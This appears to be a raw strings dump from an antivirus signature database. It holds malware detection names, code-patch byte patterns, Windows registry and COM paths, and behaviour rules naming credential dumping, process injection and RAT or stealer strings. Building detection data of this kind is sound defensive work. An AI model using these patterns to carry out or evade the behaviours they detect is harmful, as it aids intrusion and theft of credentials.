!#attrmatch_codepatch_EIP_0000000D_9090Y !#attrmatch_codepatch_EIP_00000011_9090U K' !#attrmatch_codepatch_EIP_00000011_9090U !#attrmatch_codepatch_EIP_00000015_90E9 K' !#attrmatch_codepatch_EIP_00000015_90E9 K' !#attrmatch_codepatch_EIP_00000017_9090 !#attrmatch_codepatch_EIP_0000001E_90903 K' !#attrmatch_codepatch_EIP_0000001E_90903 K' !#attrmatch_codepatch_EIP_0000001b_9090 !#attrmatch_codepatch_EIP_0000001d_9090 K' !#attrmatch_codepatch_EIP_0000001d_9090 !#attrmatch_codepatch_EIP_0000001e_9090j K' !#attrmatch_codepatch_EIP_0000001e_9090jjjjjjjjjjjj !#attrmatch_codepatch_EIP_00000033_9090j K' !#attrmatch_codepatch_EIP_00000033_9090j !#attrmatch_codepatch_EIP_00000006_00000000WY !#attrmatch_codepatch_EIP_00000016_01000000QUVh !#attrmatch_codepatch_EIP_00000016_01000000 !#PEBMPPAT:TrojanDownloader:Win32/Cutwail.AM% !#attrmatch_codepatch_EIP_00000010_909090909090U !#attrmatch_codepatch_EIP_0000001b_909090909090 !#attrmatch_codepatch_EIP_0000000A_49BA5634FD0401D1 !#ALFPER:PEBMPAT:BrowserModifier:Win32/SoctuseerObfuscator.B !EPL_4.x @!EPL_4.x 1!#PEBMPAT:Deep_Analysis -!#PEBMPAT:Disable_SEH_Limit !#PEBMPAT:Waledac_exception -!#PEBMPAT:Waledac_exception +!#attrmatch_DTBranch_EIP_0_r1 !#attrmatch_DTBranch_EIP_3A_r0 *!#attrmatch_DTBranch_EIP_3A_r0 G9t$Tu !#PEBMPAT:VirTool:Win32/Obfuscator.QO L%#!#PEBMPAT:VirTool:Win32/Obfuscator.QO !#PEBMPAT:VirTool:Win32/Obfuscator.YVU L%#!#PEBMPAT:VirTool:Win32/Obfuscator.YVU L%#!#attrmatch_codepatch_EIP_00000003_EB L%#!#attrmatch_codepatch_EIP_00000004_EB !#attrmatch_codepatch_EIP_0000000C_EB L%#!#attrmatch_codepatch_EIP_0000000C_EB !#attrmatch_codepatch_EIP_0000000D_043 L%#!#attrmatch_codepatch_EIP_0000000D_043 L%#!#attrmatch_codepatch_EIP_0000000E_EB !#attrmatch_codepatch_EIP_00000011_073 L%#!#attrmatch_codepatch_EIP_00000011_073 !#attrmatch_codepatch_EIP_00000016_75P L%#!#attrmatch_codepatch_EIP_00000016_75P !#attrmatch_codepatch_EIP_00000017_75P L%#!#attrmatch_codepatch_EIP_00000017_75P L%#!#attrmatch_codepatch_EIP_00000017_EB !#attrmatch_codepatch_EIP_0000001C_EB L%#!#attrmatch_codepatch_EIP_0000001C_EB !#attrmatch_codepatch_EIP_0000001F_EB L%#!#attrmatch_codepatch_EIP_0000001F_EB !#attrmatch_codepatch_EIP_00000001_EB1D`1 L'!!#attrmatch_codepatch_EIP_00000001_EB1D`1 !#attrmatch_codepatch_EIP_00000002_EB10 L'!!#attrmatch_codepatch_EIP_00000002_EB10 L'!!#attrmatch_codepatch_EIP_0000000F_9090 !#attrmatch_codepatch_EIP_00000017_9090U L'!!#attrmatch_codepatch_EIP_00000017_9090U L'!!#attrmatch_codepatch_EIP_00000018_9090 !#attrmatch_codepatch_EIP_00000018_90E9 L'!!#attrmatch_codepatch_EIP_00000018_90E9 !#attrmatch_codepatch_EIP_0000001A_90E9 L'!!#attrmatch_codepatch_EIP_0000001A_90E9 !#attrmatch_codepatch_EIP_0000001B_33C0 L'!!#attrmatch_codepatch_EIP_0000001B_33C0 !#attrmatch_codepatch_EIP_0000001C_EB0A=R L'!!#attrmatch_codepatch_EIP_0000001C_EB0A=R L'!!#attrmatch_codepatch_EIP_0000001E_90903 L'!!#attrmatch_codepatch_EIP_0000001E_9090 !#attrmatch_codepatch_EIP_0000001E_EB00+E L'!!#attrmatch_codepatch_EIP_0000001E_EB00+E !#attrmatch_codepatch_EIP_00000020_9090 L'!!#attrmatch_codepatch_EIP_00000020_9090 !#attrmatch_codepatch_EIP_00000026_9090h L'!!#attrmatch_codepatch_EIP_00000026_9090h !#attrmatch_codepatch_EIP_0000002D_9090 L'!!#attrmatch_codepatch_EIP_0000002D_9090 !#attrmatch_codepatch_EIP_00000002_010000V !#attrmatch_codepatch_EIP_FFFFFFFD_000000 !#attrmatch_codepatch_EIP_00000004_02000000ZB !#attrmatch_codepatch_EIP_00000007_05000000U !#attrmatch_codepatch_EIP_00000011_89c69090 !#attrmatch_codepatch_EIP_00000014_01000000 !#attrmatch_codepatch_EIP_00000017_19BFFEFF !#attrmatch_codepatch_EIP_00000019_89D39090M !#attrmatch_codepatch_EIP_00000000_33C0605090`S !#attrmatch_codepatch_EIP_00000008_B802000000 !#attrmatch_codepatch_EIP_00000003_909090909090 !#attrmatch_codepatch_EIP_00000000_648B4121909090@d9A!u !#attrmatch_codepatch_EIP_00000000_89C039C090909090 !#attrmatch_codepatch_EIP_0000000E_9090909090909090 !#attrmatch_codepatch_EIP_00000000_8145F40000010090909090 !#attrmatch_codepatch_EIP_00000000_8145F41010010090909090 !#attrmatch_codepatch_EIP_00000000_8145F42020020090909090 !#PEBMPAT:Deep_AnalysisV 2!#PEBMPAT:Deep_AnalysisV 2!#PEBMPAT:Deep_Analysis !#attrmatch_DTBranch_EIP_5_r1 ,!#attrmatch_DTBranch_EIP_5_r1 !#attrmatch_DTBranch_EIP_17_r1 +!#attrmatch_DTBranch_EIP_17_r1 !#attrmatch_codepatch_EIP_0000000B_EBa M%$!#attrmatch_codepatch_EIP_0000000B_EBa M%$!#attrmatch_codepatch_EIP_0000000E_EB !#attrmatch_codepatch_EIP_0000000e_1a+ M%$!#attrmatch_codepatch_EIP_0000000e_1a+ M`<3u !#attrmatch_codepatch_EIP_00000010_07 M%$!#attrmatch_codepatch_EIP_00000010_07 M%$!#attrmatch_codepatch_EIP_00000016_75P M%$!#attrmatch_codepatch_EIP_00000017_75P M%$!#attrmatch_codepatch_EIP_00000017_EB mime\\database\\charset\\ecma-118 iso-8859-7 mime\\database\\charset\\elot_928 |\"CertificateAuthority.ServerPolicy |\"ReplicateCatalog.ReplicateCatalog .ReplicateCatalog Class |-CLSID\\{00000305-0000-0000-C000-000000000046} AntiMoniker |-clsid\\{00000303-0000-0000-c000-000000000046} FileMoniker |-clsid\\{00000304-0000-0000-c000-000000000046} ItemMoniker |-clsid\\{57651662-ce3e-11d0-8d77-00c04fc99d61} CmdFileIcon |-clsid\\{6a08cf80-0e18-11cf-a24d-0020afd79767} ACM Wrapper |-clsid\\{79eac9e0-baf9-11ce-8c82-00aa004ba90b} URL Moniker |-clsid\\{8596e5f0-0da5-11d0-bd21-00a0c911ce86} File Writer |1interface\\{00000505-0000-0010-8000-00aa006d2ea4} Field15 |1interface\\{00000562-0000-0010-8000-00aa006d2ea4} _Record |1interface\\{00000565-0000-0010-8000-00aa006d2ea4} _Stream |1interface\\{22813757-8bd3-11d0-b4ef-00a0c9138ca4} Members |1interface\\{ef636393-f343-11d0-9477-00c04fd36226} IDBComm |5CLSID\\{13709620-C279-11CE-A49E-444553540000}\\Version |5CLSID\\{22D6F312-B0F6-11D0-94AB-0080C74C7E95}\\Version |5clsid\\{274fae1f-3626-11d1-a3a4-00c04fb950dc}\\version |5clsid\\{334857cc-f934-11d2-ba96-00c04fb6d0d1}\\version |5clsid\\{6bc098a5-0ce6-11d1-baae-00c04fc2e20d}\\version |5clsid\\{b958f73c-9bdd-11d0-852c-00c04fd8d503}\\version |8CLSID\\{00000315-0000-0000-C000-000000000046}\\MiscStatus |8CLSID\\{00000316-0000-0000-C000-000000000046}\\MiscStatus |8CLSID\\{208d2c60-3aea-1069-a2d7-08002b30309d}\\shell\\find |8CLSID\\{25336921-03f9-11cf-8fd0-00aa00686f13}\\MiscStatus |8CLSID\\{3050f4e1-98b5-11cf-bb82-00aa00bdce0b}\\MiscStatus *SOFTWARE\\Microsoft\\WAB\\WAB4\\WAB File Name c:\\default.wab 4software\\<<demo by kernel studio>>\\smstest\\settings 8SOFTWARE\\Microsoft\\Internet Explorer\\Toolbar\\WebBrowser (SYSTEM\\ControlSet001\\Services\\Disk\\Enum 0 IDE\\DiskHitachi +system\\currentcontrolset\\services\\asyncmac  +system\\currentcontrolset\\services\\flpydisk  +system\\currentcontrolset\\services\\scardsvr  +system\\currentcontrolset\\services\\schedule 5software\\microsoft\\directdraw\\compatibility\\msgolf98 8SYSTEM\\CurrentControlSet\\Services\\Dhcp\\Linkage\\Disabled 8SYSTEM\\CurrentControlSet\\Services\\tcpip\\serviceprovider 8SYSTEM\\CurrentControlSet\\control\\safeboot\\network\\rpcss 8SYSTEM\\controlset001\\services\\eventlog\\security\\spooler 8SYSTEM\\controlset001\\services\\tcpip\\parameters\\adapters 8system\\controlset001\\control\\nls\\locale\\alternate sorts 8system\\currentcontrolset\\enum\\root\\legacy_tbn178d5\\0000 6SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\WbemPerf DAO.Relation.36 TMicrosoft DAO 3.6 Object Library Relation ~'package\\protocol\\stdfileediting\\verb\\0 &&Activate Contents ~-CLSID\\{00000560-0000-0010-8000-00AA006D2EA4} ADODB.Record ~-CLSID\\{549365d0-ec26-11cf-8310-00aa00b505db} ~-clsid\\{6daf9757-2e37-11d2-aec9-00c04fb68820} MOF Compiler ~-clsid\\{92396ad0-68f5-11d0-a57e-00a0c9138c66} RowsetHelper ~1interface\\{00000134-0000-0000-c000-000000000046} IRundown ~1interface\\{00000141-0000-0000-c000-000000000046} IDLLHost ~1interface\\{00000503-0000-0010-8000-00aa006d2ea4} ~1interface\\{00000506-0000-0010-8000-00aa006d2ea4} Fields15 ~1interface\\{0000054d-0000-0010-8000-00aa006d2ea4} Fields20 ~1interface\\{49278a16-7447-11d2-accb-0000f87a37d8} IBindMgr ~1interface\\{6eb22870-8a19-11d0-81b6-00a0c9231c29} ICatalog ~4CLSID\\{0000031A-0000-0000-C000-000000000046}\\ProgID ~4clsid\\{8b20cd60-0f29-11cf-abc4-02608c9e7553}\\progid ~4clsid\\{ecabafc7-7f19-11d2-978e-0000f8757e2a}\\progid queue ~9CLSID\\{00000315-0000-0000-C000-000000000046}\\AuxUserType ~9CLSID\\{148BD520-A2AB-11CE-B11F-00AA00530503}\\DefaultIcon ~9CLSID\\{21EC2020-3AEA-1069-A2DD-08002B30309D}\\DefaultIcon ~9clsid\\{20d04fe0-3aea-1069-a2d8-08002b30309d}\\defaulticon ~9clsid\\{7bd29e00-76c1-11cf-9dd0-00a0c9034933}\\shellfolder ~9clsid\\{88c6c381-2e85-11d0-94de-444553540000}\\shellfolder ~9clsid\\{ff393560-c2a7-11cf-bff4-444553540000}\\shellfolder installdate .system\\currentcontrolset\\control\\crashcontrol autoreboot 0system\\controlset001\\services\\schedule\\security 3software\\microsoft\\directdraw\\compatibility\\savage 9SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\RunServices 9SYSTEM\\CurrentControlSet\\Enum\\Root\\ACPI_HAL\\0000\\Control 9SYSTEM\\CurrentControlSet\\Hardware Profiles\\0000\\Software 9SYSTEM\\CurrentControlSet\\services\\eventsystem\\parameters 9software\\Microsoft\\internet explorer\\plugins\\pluginspage 9system\\currentcontrolset\\services\\eventsyvtem\\parameters %system\\currentcontrolset\\control\\lsa fullprivilegeauditing WScript.Shell\\CLSID N{72C24DD5-D70A-438B-8A42-98424B88AFB8} ias.request.1\\clsid N{6BC096B1-0CE6-11D1-BAAE-00C04FC2E20D} propertyvalue\\clsid N{7b9e38b0-a97c-11d0-8534-00c04fd8d503}  cdo.ss_smtponarrivalsink\\curver 6CDO.SS_SMTPOnArrivalSink.1 !mime\\database\\charset\\iso-ir-101 iso-8859-2 -CLSID\\{0000032E-0000-0000-C000-000000000046} PipePSFactory -CLSID\\{00020421-0000-0000-C000-000000000046} PSEnumVariant -CLSID\\{00020424-0000-0000-C000-000000000046} PSOAInterface -CLSID\\{545ae700-50bf-11d1-9fe9-00600832db4a} MMCCtrl class -clsid\\{4315d437-5b8c-11d0-bd3b-00a0c911ce86} DeviceMoniker -clsid\\{6eb22881-8a19-11d0-81b6-00a0c9231c29} Catalog Class -clsid\\{bd96c556-65a3-11d0-983a-00c04fc29e36} RDS.DataSpace 1interface\\{0000012a-0000-0000-c000-000000000046} IContinue 1interface\\{0000054e-0000-0010-8000-00aa006d2ea4} Command25 1interface\\{e31fb81b-1335-11d1-8189-0000f87557db} IDXEffect 4CLSID\\{06290BD3-48AA-11D2-8432-006008C3FBFC}\\ProgID script :CLSID\\{0002000F-0000-0000-C000-000000000046}\\InprocServer :CLSID\\{00020424-0000-0000-C000-000000000046}\\InprocServer :CLSID\\{00C429C0-0BA9-11d2-A484-00C04F8EFB69}\\Programmable :CLSID\\{05589FA1-C356-11CE-BF01-00AA0055595A}\\MiscStatus\\1 :CLSID\\{07A774A0-6047-11D1-BA20-006097D2898E}\\Programmable :CLSID\\{0E59F1D5-1FBE-11D0-8FF2-00A0D10038BC}\\Programmable :CLSID\\{10072CEC-8CC1-11D1-986E-00A0C955B42E}\\Programmable :CLSID\\{16B280C5-EE70-11D1-9066-00C04FD9189D}\\Programmable :CLSID\\{2206CDB2-19C1-11D1-89E0-00C04FD7A829}\\Programmable :clsid\\{4f664f91-ff01-11d0-8aed-00c04fd7b597}\\programmable :clsid\\{65303443-ad66-11d1-9d65-00c04fc30df6}\\programmable :clsid\\{6bc096c6-0ce6-11d1-baae-00c04fc2e20d}\\programmable :clsid\\{7e8bc44e-aeff-11d1-89c2-00c04fb6bfc4}\\programmable :clsid\\{ae24fdae-03c6-11d1-8b76-0080c744f389}\\programmable system\\controlset001\\control waittokillservicetimeout 20000 %SOFTWARE\\Microsoft\\Internet Explorer 8.0.6001.18702 -system\\currentcontrolset\\services\\rpclocator 1system\\currentcontrolset\\services\\msdtc\\security 2system\\controlset001\\services\\dhcp\\configurations 3software\\Microsoft\\internet explorer\\image caching 4system\\currentcontrolset\\services\\pptpminiport\\enum  9db3402aee94   9db3b56fb88e   35b36d4aea70 35b36d4aea70IncludesTechniqueTracker   schtask-target 8db3ebfa04fd  41b3f2dbc5c1  normal.dotm a7d73a99601c a7d73a99601cIncludesResearchData  T1071.001  lolbin_web_github 8eb3e153f672 [^ ]+[\"]?(.*%.xll[\"]?)  %appdata%\\microsoft\\addins\\\\ 8db3e6837969   105b3d20332b8  10a910bd3b1e verb_ HTTP_GET \tHTTP_GET HTTP_POST    Telemetry_REFERER 91b3e78338e5   cbb3436173df BMLua:StartupFolderPathChange.EE !BMLua:StartupFolderPathChange.EE 7db308b48afd  OEF@  7db3428a1528  OEF@  83b3ff0d7d87  343d70572bd3e 343d70572bd3eIncludesResearchData NewWrittenBySystemProcessDetected \"NewWrittenBySystemProcessDetected  remoteservice_created_c 164b35dbfda7c 164b35dbfda7cIncludesResearchData  T1055.012  herpaderping_parent_a 69b3ec312bd9 (%..?.?.?.?)%.lnk .docx|.docm|.xlsx|.xlsm|.csv|.pptx|.pps|.pptm|.db|.dat|.idx|.gif|.jpg F.docx|.docm|.xlsx|.xlsm|.csv|.pptx|.pps|.pptm|.db|.dat|.idx|.gif|.jpg \\reci?ente?\\  \\microsoft outlook.lnk 7dd727cee6ad 7dd727cee6adIncludesResearchData  msaccess.exe    interprocess_com 41b38a38b33d 41b38a38b33dIncludesTechniqueTracker  remoteservice-target 227b33ebf54c1    gvfs.mount.exe sqlservr.exe  rdpinit.exe  15b39e6d4e13 15b39e6d4e13IncludesResearchData T1003.002  credentialdumping   5fb3b9f4193b 5fb3b9f4193bIncludesBMLuaLib \tpassword 41b30cdcaf0e  DEF@  sdelete.exe 55b30e415a66  DEF@  55b3ad076163  DEF@  77b30caf9443 this_sigatt -11d0-A1CA-00AA00C16E65}\\ShellEx FSOFTWARE\\Classes\\CLSID\\{0E59F1D5-1FBE-11D0-8FF2-00A0D10038BC}\\Control FSOFTWARE\\Classes\\CLSID\\{289228DE-A31E-11D1-A19C-0000F875B132}\\Control FSOFTWARE\\Classes\\clsid\\{0003000d-0000-0000-c000-000000000046}\\treatas FSOFTWARE\\Classes\\clsid\\{fd8d3a5f-6066-11d1-8c13-00c04fd8d503}\\version FSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders FSYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\Protocols FSYSTEM\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations Fsoftware\\Classes\\typelib\\{97d25db0-0363-11cf-abc4-02608c9e7553}\\1.0\\0 Fsoftware\\Microsoft\\internet explorer\\advancedoptions\\multimedia\\picts Fsoftware\\classes\\typelib\\{333c7bc1-460f-11d0-bc04-0080c7055a83}\\1.0\\0 Fsoftware\\classes\\typelib\\{7988b57c-ec89-11cf-9c00-00aa00a14f56}\\1.0\\0 Fsoftware\\classes\\typelib\\{7999fc20-d3c6-11cf-acab-00a024a55aef}\\1.0\\0 Fsoftware\\classes\\typelib\\{a1b9e03c-3226-11d2-883e-00104b2afb46}\\1.0\\0 Fsoftware\\classes\\typelib\\{bacedf3e-74ab-11d0-b162-00aa00ba3258}\\1.0\\0 !Scripting.FileSystemObject\\CLSID N{0D43FE01-F093-11CF-8940-00A0C9054228} !WinHttp.WinHttpRequest.5.1\\CLSID N{2087c2f4-2cef-4953-a8ab-66779b670495} !cdo.ss_smtponarrivalsink.1\\clsid N{CD000005-8B95-11D1-82DB-00C04FB1625D} !comadmin.comadmincatalog.1\\clsid N{F618C514-DFB8-11D1-A2CF-00805FC79235} 1interface\\{00020020-0000-0000-c000-000000000046} .AVIFile Interface 1.22 1interface\\{3050f50a-98b5-11cf-bb82-00aa00bdce0b} .DispHTMLCommentElement 1interface\\{3050f527-98b5-11cf-bb82-00aa00bdce0b} .DispHTMLMarqueeElement 1interface\\{3050f563-98b5-11cf-bb82-00aa00bdce0b} .DispHTMLGenericElement 3typelib\\{44ec0535-400f-11d0-9dcd-00a0c90391d3}\\1.0 *ATL 2.0 Type Library 4CLSID\\{10072CEC-8CC1-11D1-986E-00A0C955B42E}\\ProgID (PeerDraw.PeerDraw.1 4CLSID\\{2206CDB3-19C1-11D1-89E0-00C04FD7A829}\\ProgID (MSDASCErrorLookup.1 4clsid\\{13709620-c279-11ce-a49e-444553540000}\\progid (Shell.Application.1 4clsid\\{182c40f0-32e4-11d0-818b-00a0c9231c29}\\progid (COM+ Catalog Server 4clsid\\{4662daaa-d393-11d0-9a56-00c04fb68bf7}\\progid (ITIR.LocalCatalog.4 4clsid\\{adb880a4-d8ff-11cf-9377-00aa003b7a11}\\progid (HHCtrl.FileFinder.1 4clsid\\{c3701884-b39b-11d1-9d68-00c04fc30df6}\\progid (OlePrn.OleInstall.1 4clsid\\{ef636391-f343-11d0-9477-00c04fd36226}\\progid (DBRSTPRX.AsServer.1 5clsid\\{b75ac000-9bdd-11d0-852c-00c04fd8d503}\\\\progid &AccessControlEntry <CLSID\\{00000514-0000-0010-8000-00aa006d2ea4}\\InprocServer32 <CLSID\\{2087c2f4-2cef-4953-a8ab-66779b670495}\\InprocServer32 <CLSID\\{8856F961-340A-11D0-A96B-00C04FD705A2}\\InprocServer32 shdocvw.dll <CLSID\\{FD6905CE-952F-41F1-9A6F-135D9C6622CC}\\InprocServer32 wscntfy.dll <clsid\\{00021401-0000-0000-c000-000000000046}\\inprocserver32 <clsid\\{217fc9c0-3aea-1069-a2db-08002b30309d}\\inprocserver32 <clsid\\{42071713-76d4-11d1-8b24-00a0c9068ff3}\\inprocserver32 deskmon.dll <clsid\\{473aa80b-4577-11d1-81a8-0000f87557db}\\InprocServer32 Dxtrans.dll <clsid\\{c40fbd00-88b9-11d2-84ad-00c04fa31a86}\\inprocserver32 dsquery.dll >clsid\\{73FDDC80-AEA9-101A-98A7-00AA00374959}\\\\InprocHandler32 ECLSID\\{00000319-0000-0000-C000-000000000046}\\DataFormats\\DefaultFile G*\\shellex\\PropertySheetHandlers\\{1f2e5c40-9550-11ce-99d2-00aa006e086c} G*\\shellex\\PropertySheetHandlers\\{3EA48300-8CF6-101B-84FB-666CCB9BCD32} control panel\\desktop  wallpaperRC:\\Documents and Settings\\Alan Tracey\\Lo +SOFTWARE\\Microsoft\\Internet AccountManager Default Mail Account 00000001 ;software\\local appwizard-generated applications\\1\\settings  ;software\\local appwizard-generated applications\\e\\settings  ;software\\local appwizard-generated applications\\y\\settings  $software\\classes\\folder\\defaulticon H%SystemRoot%\\System32\\shell32.dll,3 !0d54bc52ab24b5221a6cb4e83b15d859 *SOFTWARE\\Microsoft\\Internet Explorer\\Main Start Page(http://www.bing.com /software\\classes\\cdo.nntpearlyconnector\\curver 2CDO.NNTPEarlyConnector.1 /software\\classes\\cdo.nntpfinalconnector\\curver 2CDO.NNTPFinalConnector.1 5SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost netsvcs AeLookupSvc ;SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\ThirdDimension t3rd.EXE <system\\currentcontrolset\\control\\keyboard layout\\doskeybids \t00010410 FSOFTWARE\\Classes\\CLSID\\{00020000-0000-0000-C000-000000000046}\\AVIFile GSYSTEM\\CurrentControlSet\\Control\\SecurePipeServers\\winreg\\AllowedPaths GSoftware\\Microsoft\\internet explorer\\advancedoptions\\browse\\autoappend Gsoftware\\Microsoft\\internet explorer\\advancedoptions\\multimedia\\animat Gsoftware\\Microsoft\\internet explorer\\advancedoptions\\multimedia\\sounds protocols\\handler\\javascript clsidN{3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} -clsid\\{7007acc1-3202-11d1-aad2-00805fc1270e} 8Dial-up Connection UI Class -clsid\\{ecabafb7-7f19-11d2-978e-0000f8757e2a} 8Contruction Activator Class -clsid\\{ecabb0aa-7f19-11d2-978e-0000f8757e2a} 8Byot Server Extended Object 1interface\\{1ff6aa72-5842-11cf-a707-00aa00c0098d} 0HTMLTextContainerEvents 1interface\\{3050f3c4-98b5-11cf-bb82-00aa00bdce0b} 0HTMLObjectElementEvents 4CLSID\\{06290BDA-48AA-11D2-8432-006008C3FBFC}\\ProgID *scriptlethandler.asp 4CLSID\\{2933bf90-7b36-11d2-b20e-00c04f983e60}\\ProgID *Microsoft.XMLDOM.1.0 4clsid\\{06290bd4-48aa-11d2-8432-006008c3fbfc}\\progid *Scriptlet.HostEncode <CLSID\\{00020424-0000-0000-C000-000000000046}\\InprocServer32 <CLSID\\{00020425-0000-0000-C000-000000000046}\\InprocServer32 <CLSID\\{0006F03A-0000-0000-C000-000000000046}\\InprocServer32 <CLSID\\{00BB2764-6A77-11D0-A535-00C04FD7D062}\\InprocServer32 browseui.dll <CLSID\\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\\InprocServer32 vbscript.dll <clsid\\{46763ee0-cab2-11ce-8c20-00aa0051e5d4}\\inprocserver32 <clsid\\{4de7016c-5ef9-11d1-8c13-00c04fd8d503}\\inprocserver32 <clsid\\{59099400-57ff-11ce-bd94-0020af85b590}\\inprocserver32 diskcopy.dll <clsid\\{72d3edc2-a4c4-11d0-8533-00c04fd8d503}\\inprocserver32 <clsid\\{7988b571-ec89-11cf-9c00-00aa00a14f56}\\inprocserver32 <clsid\\{7b9e38b0-a97c-11d0-8534-00c04fd8d503}\\inprocserver32 <clsid\\{7e99c0a3-f935-11d2-ba96-00c04fb6d0d1}\\inprocserver32 <clsid\\{94a909a5-6f52-11d1-8c18-00c04fd8d503}\\inprocserver32 <clsid\\{b196b286-bab4-101a-b69c-00aa00341d07}\\inprocserver32 <clsid\\{b75ac000-9bdd-11d0-852c-00c04fd8d503}\\inprocserver32 =CLSID\\{00C429C0-0BA9-11d2-A484-00C04F8EFB69}\\ToolBoxBitmap32 dxtmsft.dll HCLSID\\{098f2470-bae0-11cd-b579-08002b30bfeb}\\PersistentAddinsRegistered Hclsid\\{5645c8c1-e277-11cf-8fda-00aa00a14f93}\\persistentaddinsregistered Hclsid\\{5e941d80-bf96-11cd-b579-08002b30bfeb}\\persistentaddinsregistered <software\\local appwizard-generated applicat?ons\\s0\\settings  <software\\local appwizard-generated applications\\k2\\settings  <software\\local appwizard-generated applications\\s0\\settings  Search Page(http://www.bing.com A10SIM.EXE ;system\\currentcontrolset\\control\\keyboard layouts\\00010409  layout id 0002 ;system\\currentcontrolset\\control\\keyboard layouts\\0001040a  0086 ;system\\currentcontrolset\\control\\keyboard layouts\\00011809  0026 ;system\\currentcontrolset\\control\\keyboard layouts\\00020409  0001 ;system\\currentcontrolset\\control\\keyboard layouts\\00030409  001A >system\\currentcontrolset\\control\\keyboard layout\\doskeybcodes \t00000c0c ?system\\currentcontrolset\\services\\lanmanserver\\shares\\security \ttran e6780de18c91 e9787eb364f2 HSTR:Dradkiter.A1 ea78e638b732 ef787b014695 f58dc305f072 PUA:Block:VSearch.E fb78c870ea56 fc788ce1a097 fc8d03d076e2 PUA:Block:Conduit.F fd78ae2c6e93 1c3785b3257dd HSTR:Strakupa.A1 27d78dd17aa12 !#ALF:Trojan:Script/Godex.B!dha SCPT:GodexB 1789d0a35404 4a8d5a17cb3c PUA:Block:DirectHW.A 4e8da4de03b2 PUA:Block:Synataeb.A 4f8da146667f PUA:Block:Bundlore.B 59789a919cd8  5a8d43306a26 PUA:Block:Bundlore.K 5cea042db634 PUA:Block:Bundlore.A 648d65f9e3a2 PUA:Block:Maconomi.A 6878bcde4348  6a8d816434d7 PUA:Block:DirectHW.B 6f8dead12228 PUA:Block:SkypeCap.C 748d37375a4b PUA:Block:Ethereum.S 7a786b26b6e1  7a78bf518b08  7d8dd30aef2b PUA:Block:MacBooster 7f8d6aa7a3fd PUA:Block:Bundlore.L 807810aeed62  8478b1d3afe7  898dc7b8f69b PUA:Block:Bundlore.F 8b8d9b0e7745 PUA:Block:Bundlore.T 908d3de13731 PUA:Block:SkypeCap.B 928de8081ce1 PUA:Block:Bundlore.S 9a8df3f2af9f PUA:Block:SkypeCap.A a68dd36bc0e1 PUA:Block:Bundlore.C a78df606c680 PUA:Block:Bundlore.X a861db542652  ba783b90afbe  bb78748cf1d4 HSTR:Nivdort.EXP05 de786c005836  9c7809ec5328 9c7809ec5328Flags1  10278bd614510 107781fabf1cf 10778ee004595 10a78cf5fce00 10e78ce0aaa15 112788b03ec91 1178dab632c86 PUA:Block:Genieo.A2 11878e85484f0 1197895e40438 !#ALF:Phish:PHP/PhishKitBlock.B!MTB !#TEL:Exploit:O97M/CVE-2017-11882.CPIZ!MTB !#AGGR:LowerInternetSecurity !#ALF:TrojanDownloader:Java/Banload !#lowfi:AVDirBanker !#SLF:MamacseMacro.A !#ALF:WmiCreatorStep.A1 !#TEL:XLSMSuspDllRegister !#ALF:Phish:PHP/MsEmails.GG!MTB !#ALF:HackTool:PowerShell/AMQP.A!MTB !#AGG:AllowList:Win32/Corecast_Apps.Etic.A !#AGGR:Exploit:JS/Pangimop !#ALF:Trojan:Win32/Cassini_c50c68af!ibt !#ALF:Trojan:Java/Adwind.PJA!MTB !#ALF:Phish:PHP/MS_Sharepoint_PKT!MTB !#TEL:TrojanDownloader:O97M/EncDoc.ENCR!MTB !#ALF:HackTool:PowerShell/ADUtils.A!MTB !#ALF:Trojan:Win32/Cassini_58c48878!ibt !#AGG:AllowList:Win32/UMEZAWA.UtVideoCodec.A !#TrojanDropper:Win32/EFIPayload !#AGGR:Exploit:JS/FunkMaster.A!dha !#SLF:HackTool:PowerShell/Internaloff.Q1!MTB !#SLF:HackTool:PowerShell/Internaloff.R1!MTB !#AGGR:SuspPoshKeylogger!amsi !#AGG:AllowList:Win32/Attache.A !#AGG:AllowList:Win32/Elevenapp.A !#Lua:Macro:O97M/Macrothread.A!amsi !#ALF:TrojanDownloader:JS/Nemucod.S00d !#SLF:Context/OfficeAttachLnkFileWithPowershellADS.A !#AGGR:Exploit:SWF/Netis.E !#AGG:AllowList:Win32/TopalaSoftware.A !#ALF:Trojan:Win32/Cassini_de03f6e8!ibt !#AGGR:Exploit:JS/Phisims!lowfi !#AGG:AllowList:Win32/T_C_Brogden_Ltd.A !#ALF:Phish:PHP/Blocklist_IPcheck.GG!MTB !#SLF:PowerShell/DiscoveryGetProcessList.A !#TEL:TrojanDownloader:O97M/TrickBot.DR!MTB !#MpInternal_Tencode !#SLF:VBS/GootKit.J!ibt !#ALF:Ransom:Java/Tycoon.PA!MTB !#ALF:Ransom:BAT/PonyFinal.SD!MTB !#ALF:Trojan/PSDynamicAssembly.B2 !#ALFPER:VirTool:O97M/RTFDDEDownloader !#ALF:TrojanDownloader:O97M/EncDoc.STD!MTB !#ALF:TrojanDownloader:O97M/EncDoc.STE!MTB !#TEL:Trojan:Win32/Tnega.ZGGA!MTB !#ALF:Trojan:O97M/CVE-2017-11882.CS!eml !#TEL:TrojanDownloader:O97M/EncDoc.QAB!MTB !#SLF:AGGR:CopyRenamed!autoruns.exe !#TEL:TrojanDownloader:O97M/EncDoc.XRS!MTB !#AGG:AllowList:Win32/hotelEasy.A !#ALF:Trojan:AndroidOS/Fakeinst.S !#SLF:Context/DocAttachBatFileWithCsc.A !#SLF:Context/DocAttachCmdFileWithCsc.A !#SLF:Context/DocAttachLnkFileWithCsc.A !#SLF:Context/DocAttachPifFileWithCsc.A !#AGG:AllowList:Win32/Informix.sqliprt.A }%7c%7c[A-F0-9]{40} Steam.exe Programm steamcommunity.com/tradeoffer/new/ steamcommunity.com/tradeoffer/new/x !#HSTR:TrojanSpy:Win32/Xtrat!id ImSecure ImSecureBINDER ImSecure RAT x.htmlx !#SLF:Trojan:Win32/Gippers.C!dha %s/image_download.php?uid=%.5d /search?hl=en&q=%s&meta=%s srv3dll.dll srv3dll.dllInstall %s\\fp3n.~tp %s\\fp3n.~tpx !#ALF:HSTR:MITM:UtilAds <Ionic.Zip.ZipEntry>.ge set_HostsThatBypass 